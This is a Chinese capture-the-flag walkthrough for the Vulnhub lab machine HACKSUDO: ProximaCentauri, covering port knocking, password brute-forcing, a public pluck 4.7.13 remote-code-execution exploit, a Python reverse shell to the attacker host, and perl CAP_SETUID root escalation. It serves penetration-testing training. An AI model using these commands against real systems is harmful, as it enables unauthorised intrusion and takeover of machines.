Vulnhub-HACKSUDO: PROXIMACENTAURI渗透

发布时间:2024年01月12日

一、前言

?由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
?如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!

?👉本文靶机下载连接-戳我直接下载!👈

1、靶机ip配置

  • Kali IP:192.168.2.4
  • 靶机IP:192.168.2.5靶机ip获取方式如下图
    在这里插入图片描述

2、渗透目标

  • 获取到/root/目录下的flag文件

3、渗透概括

  1. web源码审查
  2. 根据抽象的信息获取有用的信息(端口号)
  3. 端口敲门
  4. 通过ssh获取信息
  5. web密码爆破
  6. pluck 4.7.13的远程代码执行漏洞利用
  7. mysql数据库获取有用信息
  8. perl的Capabilities提权


开始实战

一、信息获取

使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP如下所示
在这里插入图片描述

可以看到,扫出来了22 80/http但是22端口被防火墙过滤了,根以往的经验很有可能是端口敲门

我们先看看80/http的页面,如下图
在这里插入图片描述

在页面里面没有发现什么东西,我们使用gobuster工具对该网站的目录爆破一下

gobuster dir -u http://192.168.2.5/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x jpg,php,txt,html

如下,扫描出来的结果还是比较多,就不全部写出来了
我们主要看到login.php页面/planet目录
在这里插入图片描述
我访问一下login.php页面,发现要密码,我们就先放着
在这里插入图片描述

我们再看看/planet目录,里面有一个文件夹travel,我们继续点开
在这里插入图片描述

我们点开之后就可以看到如下页面,我们按f12,打开源码审查,全部展开就可以看到该页面有一个提示信息
给了我们一个连接https://g.co/kgs/F9Lb6b
在这里插入图片描述

我们直接使用浏览器访问这个网址,就可以看到如下信息,我们点击显示的第一个信息
在这里插入图片描述

如下,点开之后我们可以看到如下图标注的消息是14 29 43(43是四舍五入的,因为测试42没打开)很有可能就是我们需要敲的端口(有点离谱……)

在这里插入图片描述

二、端口敲门

那么我就自己写一个python脚本用于端口敲门,脚本名为knock.py
代码如下

import socket

def send_syn_request(host, port):
    try:
        # 创建 TCP socket 对象
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 发送 SYN 请求
        s.settimeout(0.1)  # 设置连接超时时间为0.1秒
        s.connect((host, port))
        s.close()
    except (socket.timeout, socket.error):
        pass
    print(f"已发送 SYN 请求到端口 {port}")
    
    
# 指定主机和端口列表
host = "192.168.2.5"

#需要敲的端口列表
ports = [14, 29, 43]
# 发送 SYN 请求到每个端口
for port in ports:
    send_syn_request(host, port)

如下,使用命令python kncok.py运行一下敲门脚本
当我们运行完脚本之后再次扫描靶机的22端口就可以看到该端口的状态就为open
在这里插入图片描述

三、web密码爆破

我们先用ssh连接一下试试,虽然没有密码,但是如下图,回显信息给了我们一个链接
https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst
在这里插入图片描述

给了我们一个字典,大胆猜测一下,这个可能就是前面的那个登录页面的密码
在这里插入图片描述

我们使用Burpsuite抓一个这个页面的登录包,是一个POST请求
在这里插入图片描述

我们ctrl + i发送到攻击模块,并且把密码区域添加为变量
在这里插入图片描述

我把刚刚github上面的密码添加进来,然后点击Start attack按钮开始爆破
在这里插入图片描述

如下,有一个包的长度是1464,那密码就是hacktheplanet没错了
在这里插入图片描述

如下,我们已经成功登录,并且报了该网站的具体版本号pluck 4.7.13
在这里插入图片描述

四、getShell

我们直接在kali里面搜索这个框架对应的版本的exp,如下可以看到有一个远程命令执行的pythonexp
在这里插入图片描述

我们直接用cp命令拷贝一份下来
在这里插入图片描述

打开看一下怎么用,如下图可以看到该exp需要四个参数分别是靶机的ip 端口 密码 路径
在这里插入图片描述

我们按照要求执行以下该exppython 49909.py 192.168.2.5 80 hacktheplanet /
如下图,返回结果告诉我们攻击成功,并且给了我们一个shell的URL
在这里插入图片描述

我们访问该URL就可以看到一个类似终端的命令执行页面
在这里插入图片描述

由于这个用的不是很舒服,我们需要把这个shell反弹到kali上
我们在kali上用nc -lvvp 1234监听一下
在这里插入图片描述

然后使用利用python挂一下反弹shell,命令如下

#需要把ip替换为自己实际的靶机ip
export RHOST="192.168.2.4";export RPORT=1234;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

在这里插入图片描述

如下我们的nc就监听到靶机弹过来的shell了
在这里插入图片描述

五、获取新用户

我们到处翻一下,在/var目录下发现了/backups目录,并且在该目录里面有一个mysql.bak的数据库备份文件
在这里插入图片描述

我们使用cat命令看一下这个数据库备份文件里面的内容
发现了一个数据库用户alfauser和一个密码passw0rd
在这里插入图片描述

那么我们就用这个账户密码登陆一下这个靶机的mysql
命令为mysql -u alfauser -ppassw0rd
在这里插入图片描述

通过如下的操作,我们获取到了一个新的用户proxima和密码alfacentauri123
在这里插入图片描述

我们使用exit命令退出数据库,并且使用su命令通过我们上一步获取到账户密码登录到这个新的用户
在这里插入图片描述

六、提权

我们使用find / -perm -u=s 2>/dev/null命令找一下具有suid权限的可执行文件
如下图,然而并没有发现什么可利用的可执行程序
在这里插入图片描述

我们使用getcap -r / 2>/dev/null命令找一下有没有具有特殊能力的文件
如下找到了一个perl程序被赋予了CAP_SETUID能力
在这里插入图片描述

我们到当前用户的家目录
发下有一个proximaCentauriA目录,我们进入到该目录
通过执行./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'来进行Capabilities提权
在这里插入图片描述

我们进入到/root目录,拿到最终的flag文件root.txt至此我们的渗透完成
在这里插入图片描述

文章来源:https://blog.csdn.net/laoyanCZ/article/details/135537321
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。